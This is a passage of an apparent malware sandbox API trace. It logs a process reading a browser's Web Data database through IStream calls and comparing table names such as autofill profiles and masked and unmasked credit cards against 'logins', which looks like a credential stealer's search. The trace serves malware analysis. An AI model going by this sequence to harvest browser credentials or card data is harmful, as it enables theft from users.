cb=0x0, dwLockType=0x0) returned 0x0 [0054.791] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x6b99, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x6b9a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.792] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e560, libOffset=0x6b9b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.792] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.792] LocalFree (hMem=0x75e920) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x764698 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a9d0 [0054.792] LocalFree (hMem=0x940a908) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754f00 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.792] IStream:SetSize (This=0x76e6f0, libNewSize=0x754f00) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x751178 [0054.792] LocalFree (hMem=0x754f00) returned 0x0 [0054.792] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763a18 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.792] IStream:LockRegion (This=0x76e6f0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.793] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x759000 [0054.793] LocalFree (hMem=0x763a18) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.793] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.793] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x940a908 [0054.793] LocalFree (hMem=0x763978) returned 0x0 [0054.793] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.793] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0054.793] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.793] LocalFree (hMem=0x751178) returned 0x0 [0054.793] LocalFree (hMem=0x759000) returned 0x0 [0054.793] LocalFree (hMem=0x76a770) returned 0x0 [0054.793] LocalFree (hMem=0x940a908) returned 0x0 [0054.793] LocalFree (hMem=0x764698) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x6adb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x6adb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x6adc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x6add, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.793] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.793] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e560, libOffset=0x6ade, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.793] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.793] LocalFree (hMem=0x75e920) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.793] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x764698 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.793] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.793] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.794] LocalFree (hMem=0x940a908) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x763a18 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x759000 [0054.794] LocalFree (hMem=0x763a18) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x763a18 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x7590a8 [0054.794] LocalFree (hMem=0x763a18) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77b) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x76c840 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e6f0, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e6f0, libNewSize=0x76c840) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x761ea0 [0054.794] LocalFree (hMem=0x76c840) returned 0x0 [0054.794] LocalFree (hMem=0x764698) returned 0x0 [0054.794] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.794] lstrcmpiA (lpString1="autofill_profile_names", lpString2="logins") returned -1 [0054.794] LocalFree (hMem=0x76a770) returned 0x0 [0054.794] LocalFree (hMem=0x759000) returned 0x0 [0054.794] LocalFree (hMem=0x7590a8) returned 0x0 [0054.794] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.794] LocalFree (hMem=0x761ea0) returned 0x0 [0054.794] LocalFree (hMem=0x763978) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x6a5b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x6a5b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.794] IStream:LockRegion (This=0x76e560, libOffset=0x6a5c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.794] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.794] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.794] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e560, libOffset=0x6a5d, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.795] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.795] LocalFree (hMem=0x75e920) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x763978 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.795] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] LocalFree (hMem=0x940a908) returned 0x0 [0054.795] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] LocalFree (hMem=0x763a18) returned 0x0 [0054.795] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] LocalFree (hMem=0x763a18) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.795] LocalFree (hMem=0x7687d8) returned 0x0 [0054.795] LocalFree (hMem=0x763978) returned 0x0 [0054.795] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.795] lstrcmpiA (lpString1="autofill_profile_emails", lpString2="logins") returned -1 [0054.795] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.795] LocalFree (hMem=0x7590a8) returned 0x0 [0054.795] LocalFree (hMem=0x759000) returned 0x0 [0054.795] LocalFree (hMem=0x76a770) returned 0x0 [0054.795] LocalFree (hMem=0x9403c80) returned 0x0 [0054.795] LocalFree (hMem=0x764698) returned 0x0 [0054.795] IStream:LockRegion (This=0x76e560, libOffset=0x69da, cb=0x0, dwLockType=0x0) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x75e920) returned 0x0 [0054.796] LocalFree (hMem=0x940a908) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x7687d8) returned 0x0 [0054.796] LocalFree (hMem=0x764698) returned 0x0 [0054.796] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.796] lstrcmpiA (lpString1="autofill_profile_phones", lpString2="logins") returned -1 [0054.796] LocalFree (hMem=0x76a770) returned 0x0 [0054.796] LocalFree (hMem=0x759000) returned 0x0 [0054.796] LocalFree (hMem=0x7590a8) returned 0x0 [0054.796] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.796] LocalFree (hMem=0x9403c80) returned 0x0 [0054.796] LocalFree (hMem=0x763978) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e560, libOffset=0x696a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x75e920) returned 0x0 [0054.796] LocalFree (hMem=0x940a908) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763a18 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x756820) returned 0x0 [0054.796] LocalFree (hMem=0x763978) returned 0x0 [0054.796] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.796] lstrcmpiA (lpString1="autofill_profiles_trash", lpString2="logins") returned -1 [0054.796] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.796] LocalFree (hMem=0x7590a8) returned 0x0 [0054.796] LocalFree (hMem=0x759000) returned 0x0 [0054.796] LocalFree (hMem=0x76a770) returned 0x0 [0054.796] LocalFree (hMem=0x74af08) returned 0x0 [0054.796] LocalFree (hMem=0x764698) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e560, libOffset=0x6f23, cb=0x0, dwLockType=0x0) returned 0x0 [0054.796] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.796] LocalFree (hMem=0x75e920) returned 0x0 [0054.796] LocalFree (hMem=0x940a908) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763a18 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763a18 [0054.796] LocalFree (hMem=0x763a18) returned 0x0 [0054.796] LocalFree (hMem=0x761ea0) returned 0x0 [0054.796] LocalFree (hMem=0x764698) returned 0x0 [0054.796] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.796] lstrcmpiA (lpString1="masked_credit_cards", lpString2="logins") returned 1 [0054.796] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalFree (hMem=0x759000) returned 0x0 [0054.797] LocalFree (hMem=0x7590a8) returned 0x0 [0054.797] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.797] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.797] LocalFree (hMem=0x763978) returned 0x0 [0054.797] IStream:LockRegion (This=0x76e560, libOffset=0x6e29, cb=0x0, dwLockType=0x0) returned 0x0 [0054.797] LocalFree (hMem=0x75e920) returned 0x0 [0054.797] LocalFree (hMem=0x940a908) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763a18 [0054.797] LocalFree (hMem=0x763a18) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763a18 [0054.797] LocalFree (hMem=0x763a18) returned 0x0 [0054.797] LocalFree (hMem=0x740208) returned 0x0 [0054.797] LocalFree (hMem=0x763978) returned 0x0 [0054.797] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.797] lstrcmpiA (lpString1="unmasked_credit_cards", lpString2="logins") returned 1 [0054.797] LocalFree (hMem=0x76a9d0) returned 0x0 [0054.797] LocalFree (hMem=0x7590a8) returned 0x0 [0054.797] LocalFree (hMem=0x759000) returned 0x0 [0054.797] LocalFree (hMem=0x76a770) returned 0x0 [0054.797] LocalFree (hMem=0x940c758) returned 0x0 [0054.797] LocalFree (hMem=0x764698) returned 0x0 [0054.797] IStream:LockRegion (This=0x76e560, libOffset=0x6895, cb=0x0, dwLockType=0x0) returned 0x0 [0054.797] LocalFree (hMem=0x75e920) returned 0x0 [0054.797] LocalFree (hMem=0x940a908) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.797] LocalFree (hMem=0x763a18) returned 0x0 [0054.797] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763a18 [0054.797] LocalFree (hMem=0x763a18) returned 0x0 [0054.797] LocalFree (hMem=0x761ea0) returned 0x0 [0054.797] LocalFree (hMem=0x764698) returned 0x0 [0054.797] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.797] lstrcmpiA (lpString1="server_card_metadata", 